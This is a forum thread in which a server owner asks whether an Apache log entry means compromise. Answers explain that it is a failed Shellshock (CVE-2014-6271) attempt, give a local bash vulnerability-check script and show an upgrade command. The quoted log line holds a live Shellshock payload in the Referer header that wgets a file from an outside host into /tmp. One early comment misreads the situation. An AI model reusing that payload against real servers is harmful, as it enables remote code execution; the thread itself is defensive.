2

I am wondering if my server is compromised or not I just looked at my log and seen the following line in there

[Thu May 14 09:10:42.587255 2015] [autoindex:error] [pid 3422] [client 207.141.124.18:59142] AH01276: Cannot serve directory /var/www/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm) found, and server-generated directory index forbidden by Options directive, referer: () { :;}; /bin/bash -c "wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=37332e33362e3134302e313938"

It is worrying my because I see /bin/bash -c "wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=37332e33362e3134302e313938"

I am not sure if they were able to execute that command successfully or not. I realize it is an error but I just want to make sure.

1
  • Your Apache server is pointing to the default directoy where it contains the folder structure to throws a webpages when ever a client request. I believe the corresponding folder structure is absent in the configuration or someone deleted the default web pages available for Apache server. Here your executing the wget cmd to fetch some details from Apache server which is absent here. so it throws error as directory structure missing.
    – user45475
    May 14, 2015 at 20:58

3 Answers 3

2

This is an attempt to exploit CVE-2014-6271 (the “shellshock” vulnerability, if we must).

Its appearance in this message is no indication that it was successful; any client can include any string in the Referer: header and have it included in logs here.

The attempt didn't succeeded in this specific case, because the log message is telling you there was no script present at the target URL /, so there was nothing that would have evaluated the code. However, you should assume that this and other bots are hitting other URLs too.

If your server has been updated with security patches since CVE-2014-6271 came out, you're fine.

2

So it looks like someone is trying to use the shellshock vulnerability which was recently discovered in the bash shell. The key give-away is the part of the log which reads:

referer: () { :;}; /bin/bash

What the attacker (or unknowing participant) has done is to set their web browser's http referer header to everything you see after the word "referer" in your log. If your server is vulnerable then the () { :;}; will cause everything following it to be executed. This could occur if a CGI script is run on a machine with an unpatched version of bash, and where that script uses the referer variable.

0

I got the same case, to check is your server are vulnerable to ShellShock:

#!/bin/bash
EXITCODE=0

# CVE-2014-6271
CVE20146271=$(env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test" 2>&1 | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6271 (original shellshock): "
if [ $CVE20146271 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+1))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-6277
# it is fully mitigated by the environment function prefix passing avoidance
CVE20146277=$((shellshocker="() { x() { _;}; x() { _;} <<a; }" bash -c date 2>/dev/null || echo vulnerable) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6277 (segfault): "
if [ $CVE20146277 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+2))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-6278
CVE20146278=$(shellshocker='() { echo vulnerable; }' bash -c shellshocker 2>/dev/null | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6278 (Florian's patch): "
if [ $CVE20146278 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+4))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-7169
CVE20147169=$((cd /tmp; rm -f /tmp/echo; env X='() { (a)=>\' bash -c "echo echo nonvuln" 2>/dev/null; [[ "$(cat echo 2> /dev/null)" == "nonvuln" ]] && echo "vulnerable" 2> /dev/null) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7169 (taviso bug): "
if [ $CVE20147169 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+8))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-7186
CVE20147186=$((bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' 2>/dev/null || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7186 (redir_stack bug): "
if [ $CVE20147186 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+16))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-7187
CVE20147187=$(((for x in {1..200}; do echo "for x$x in ; do :"; done; for x in {1..200}; do echo done; done) | bash || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7187 (nested loops off by one): "
if [ $CVE20147187 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+32))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

# CVE-2014-////
CVE2014=$(env X=' () { }; echo vulnerable' bash -c 'date' | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-//// (exploit 3 on http://shellshocker.net/): "
if [ $CVE2014 -gt 0 ]; then
    echo -e "\033[91mVULNERABLE\033[39m"
    EXITCODE=$((EXITCODE+64))
else
    echo -e "\033[92mnot vulnerable\033[39m"
fi

exit $EXITCODE

That way of update the bash fix this issue:

sudo apt-get update && sudo apt-get install --only-upgrade bash

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .